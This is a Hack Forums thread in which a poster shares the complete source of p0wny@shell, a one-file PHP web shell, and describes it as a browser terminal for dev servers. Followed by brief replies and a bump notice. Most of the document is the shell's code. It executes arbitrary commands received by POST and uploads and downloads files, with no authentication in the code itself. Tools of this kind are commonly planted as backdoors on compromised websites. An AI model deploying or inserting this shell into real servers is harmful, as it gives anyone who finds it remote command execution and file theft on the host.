

Forum:[Hack Forums](#)

Thread: [Server Terminal / CLI | OnePage PHP Shell | Open Source Code](#)

Hackers - January 6, 2024, 10:37 pm

Hi all, I would like to share a method to have a CLI / terminal available via web browser for your server. Once the PHP file is in place, if it can be executed and is accessible via web (http/s) then you can use it to run whatever commands you want for the server. For example, you could use wget, or touch, or other commands to create other necessary files for your project on the server.

This is a single file PHP shell that allows you to use a terminal UI to have backend access to the server. I did not write this code and I am not partnered with them. This tool is useful for me for dev environments. When installing on your own computer/server, make sure you password protect this properly so the public cannot use it.

Just upload it via ftp or create it when ssh'd into server. If on a panel / shared hosting server, just upload via file manager. You can then access it at [yoursite.com/shell.php](#) (or whatever you call it).

Source Code (PHP):

Spoiler [\(Click to View\)](#)

<https://github.com/EmreRed/OnePage-PHP-Shell/blob/master/shell.php>

PHP Code

<?php

```
function featureShell($cmd, $cwd) {
    $stdout = array();

    if (preg_match("/^\s*cd\s*$/", $cmd)) {
        // pass
    } elseif (preg_match("/^\s*cd\s+(.)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir($match[1]);
    } elseif (preg_match("/^\s*download\s+([\s]+\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*download\s+([\s]+\s*(2>&1)?$/", $cmd, $match);
        return featureDownload($match[1]);
    } else {
        chdir($cwd);
        exec($cmd, $stdout);
    }

    return array(
        "stdout" => $stdout,
        "cwd" => getcwd()
    );
}
```

```

function featurePwd() {
    return array("cwd" => getcwd());
}

function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"\$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    return array(
        'files' => $files,
    );
}

function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
        return array(
            'stdout' => array('File not found / no read permission.'),
            'cwd' => getcwd()
        );
    } else {
        return array(
            'name' => basename($filePath),
            'file' => base64_encode($file)
        );
    }
}

function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, 'wb');
    if ($f === FALSE) {
        return array(
            'stdout' => array('Invalid path / no write permission.'),
            'cwd' => getcwd()
        );
    } else {
        fwrite($f, base64_decode($file));
        fclose($f);
        return array(
            'stdout' => array('Done.'),
            'cwd' => getcwd()
        );
    }
}

if (isset($_GET["feature"])) {

```

```

$response = NULL;

switch ($_GET["feature"]) {
    case "shell":
        $cmd = $_POST['cmd'];
        if (!preg_match('/2>/', $cmd)) {
            $cmd .= ' 2>&1';
        }
        $response = featureShell($cmd, $_POST['cwd']);
        break;
    case "pwd":
        $response = featurePwd();
        break;
    case "hint":
        $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
        break;
    case 'upload':
        $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
}

header("Content-Type: application/json");
echo json_encode($response);
die();
}

```

?><!DOCTYPE html>

<html>

```

<head>
    <meta charset="UTF-8" />
    <title>p0wny@shell:~#</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <style>
        html, body {
            margin: 0;
            padding: 0;
            background: #333;
            color: #eee;
            font-family: monospace;
        }

        #shell {
            background: #222;
            max-width: 800px;
            margin: 50px auto 0 auto;
            box-shadow: 0 0 5px rgba(0, 0, 0, .3);
            font-size: 10pt;
            display: flex;
            flex-direction: column;
            align-items: stretch;
        }
    
```

```
#shell-content {  
  height: 500px;  
  overflow: auto;  
  padding: 5px;  
  white-space: pre-wrap;  
  flex-grow: 1;  
}
```

```
#shell-logo {  
  font-weight: bold;  
  color: #FF4180;  
  text-align: center;  
}
```

```
@media (max-width: 991px) {  
  #shell-logo {  
    display: none;  
  }  
}
```

```
html, body, #shell {  
  height: 100%;  
  width: 100%;  
  max-width: none;  
}
```

```
#shell {  
  margin-top: 0;  
}  
}
```

```
@media (max-width: 767px) {  
  #shell-input {  
    flex-direction: column;  
  }  
}
```

```
.shell-prompt {  
  font-weight: bold;  
  color: #75DF0B;  
}
```

```
.shell-prompt > span {  
  color: #1BC9E7;  
}
```

```
#shell-input {  
  display: flex;  
  box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);  
  border-top: rgba(255, 255, 255, .05) solid 1px;  
}
```

```
#shell-input > label {  
  flex-grow: 0;
```

```
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
```

```
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
}
```

```
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
```

```
#shell-input input {
outline: none;
}
```

</style>

<script>

```
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
```

```
function _insertCommand(command) {
eShellContent.innerHTML += "\n\n";
eShellContent.innerHTML += '<span class="shell-prompt">' + genPrompt(CWD) + '</spa
n> ';
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += "\n";
eShellContent.scrollTop = eShellContent.scrollHeight;
}
```

```
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
```

```
function featureShell(command) {
    _insertCommand(command);
    if (/^s*upload\s+[^s]+\s*$/i.test(command)) {
```

```

        featureUpload(command.match(/^\\s*upload\\s+([\\s]+)\\s*$/)[1]);
    } else if (/^\\s*clear\\s*$/ .test(command)) {
        // Backend shell TERM environment variable not set. Clear command history from UI bu
t keep in buffer
        eShellContent.innerHTML = "";
    } else {
        makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
            if (response.hasOwnProperty('file')) {
                featureDownload(response.name, response.file)
            } else {
                _insertStdout(response.stdout.join("\\n"));
                updateCwd(response.cwd);
            }
        });
    }
}

```

```

function featureHint() {
    if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complet
e

```

```

function _requestCallback(data) {
    if (data.files.length <= 1) return; // no completion

    if (data.files.length === 2) {
        if (type === 'cmd') {
            eShellCmdInput.value = data.files[0];
        } else {
            var currentValue = eShellCmdInput.value;
            eShellCmdInput.value = currentValue.replace(/([\\s]*)$/, data.files[0]);
        }
    } else {
        _insertCommand(eShellCmdInput.value);
        _insertStdout(data.files.join("\\n"));
    }
}

```

```

var currentCmd = eShellCmdInput.value.split(" ");
var type = (currentCmd.length === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

```

```

makeRequest(
    "?feature=hint",
    {
        filename: fileName,
        cwd: CWD,
        type: type
    },
    _requestCallback
);
}

```

```

function featureDownload(name, file) {
    var element = document.createElement('a');
    element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
    element.setAttribute('download', name);
    element.style.display = 'none';
    document.body.appendChild(element);
    element.click();
    document.body.removeChild(element);
    _insertStdout('Done. ');
}

function featureUpload(path) {
    var element = document.createElement('input');
    element.setAttribute('type', 'file');
    element.style.display = 'none';
    document.body.appendChild(element);
    element.addEventListener('change', function () {
        var promise = getBase64(element.files[0]);
        promise.then(function (file) {
            makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response
    ) {
        _insertStdout(response.stdout.join("\n"));
        updateCwd(response.cwd);
    });
    }, function () {
        _insertStdout('An unknown client-side error occurred. ');
    });
    });
    element.click();
    document.body.removeChild(element);
}

function getBase64(file, onLoadCallback) {
    return new Promise(function(resolve, reject) {
        var reader = new FileReader();
        reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
        reader.onerror = reject;
        reader.readAsDataURL(file);
    });
}

function genPrompt(cwd) {
    cwd = cwd || "~";
    var shortCwd = cwd;
    if (cwd.split("/").length > 3) {
        var splittedCwd = cwd.split("/");
        shortCwd = ".../" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
    }
    return "p0wny@shell:<span title=\"\" + cwd + "\">" + shortCwd + "</span>#";
}

function updateCwd(cwd) {

```

```

    if (cwd) {
        CWD = cwd;
        _updatePrompt();
        return;
    }
    makeRequest("?feature=pwd", {}, function(response) {
        CWD = response.cwd;
        _updatePrompt();
    });
}

function escapeHtml(string) {
    return string
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;");
}

function _updatePrompt() {
    var eShellPrompt = document.getElementById("shell-prompt");
    eShellPrompt.innerHTML = genPrompt(CWD);
}

function _onShellCmdKeyDown(event) {
    switch (event.key) {
        case "Enter":
            featureShell(eShellCmdInput.value);
            insertToHistory(eShellCmdInput.value);
            eShellCmdInput.value = "";
            break;
        case "ArrowUp":
            if (historyPosition > 0) {
                historyPosition--;
                eShellCmdInput.blur();
                eShellCmdInput.focus();
                eShellCmdInput.value = commandHistory[historyPosition];
            }
            break;
        case "ArrowDown":
            if (historyPosition >= commandHistory.length) {
                break;
            }
            historyPosition++;
            if (historyPosition === commandHistory.length) {
                eShellCmdInput.value = "";
            } else {
                eShellCmdInput.blur();
                eShellCmdInput.focus();
                eShellCmdInput.value = commandHistory[historyPosition];
            }
            break;
        case 'Tab':

```

```
        event.preventDefault();
        featureHint();
        break;
    }
}
```

```
function insertToHistory(cmd) {
  commandHistory.push(cmd);
  historyPosition = commandHistory.length;
}
```

```
function makeRequest(url, params, callback) {
    function getQueryString() {
        var a = [];
        for (var key in params) {
            if (params.hasOwnProperty(key)) {
                a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
            }
        }
        return a.join("&");
    }
    var xhr = new XMLHttpRequest();
    xhr.open("POST", url, true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            try {
                var responseJson = JSON.parse(xhr.responseText);
                callback(responseJson);
            } catch (error) {
                alert("Error while parsing response: " + error);
            }
        }
    };
    xhr.send(getQueryString());
}
```

```
window.onload = function() {
    eShellCmdInput = document.getElementById("shell-cmd");
    eShellContent = document.getElementById("shell-content");
    updateCwd();
    eShellCmdInput.focus();
};
```

```
</script>
</head>
```

<body>

<div id="shell">

```
id="shell-content"></pre>
```

<div id="shell-logo">

_ _ / _ _ _ _ _ / _ _ \ _ _ | _ _ _ _ | _ _ M | | | _
 ' _ \ | | \ \ \ / / ' _ \ | | | / / ' / _ | ' _ \ / _ \ | () N _ .. _ |

thanks for sharing information

Hackers - April 14, 2024, 10:06 am

(Mar 24, 2024 01:58 PM)nightmair99 Wrote: [\[CITE\]](#) thanks for sharing information
no problem, thanks for stopping by
make sure you read the [Help Docs](#) if you haven't - welcome to HF!

Stanley - March 16, 2026, 8:35 pm

I'm Stanley HF's helper bot. The OP (original poster) of this thread wants everyone to see this page and has elected to bump it to the top of the showthread listing. Since HF doesn't want a ton of LQP (Low Quality Posts) this is the best method of bumping your content. There is a small ?yte fee for each bump. Any OP can bump any of their threads on HF from the linked icon on the top of their first post.

If you haven't already read the first post of this thread we encourage you to do so.

Thanks,
Stanley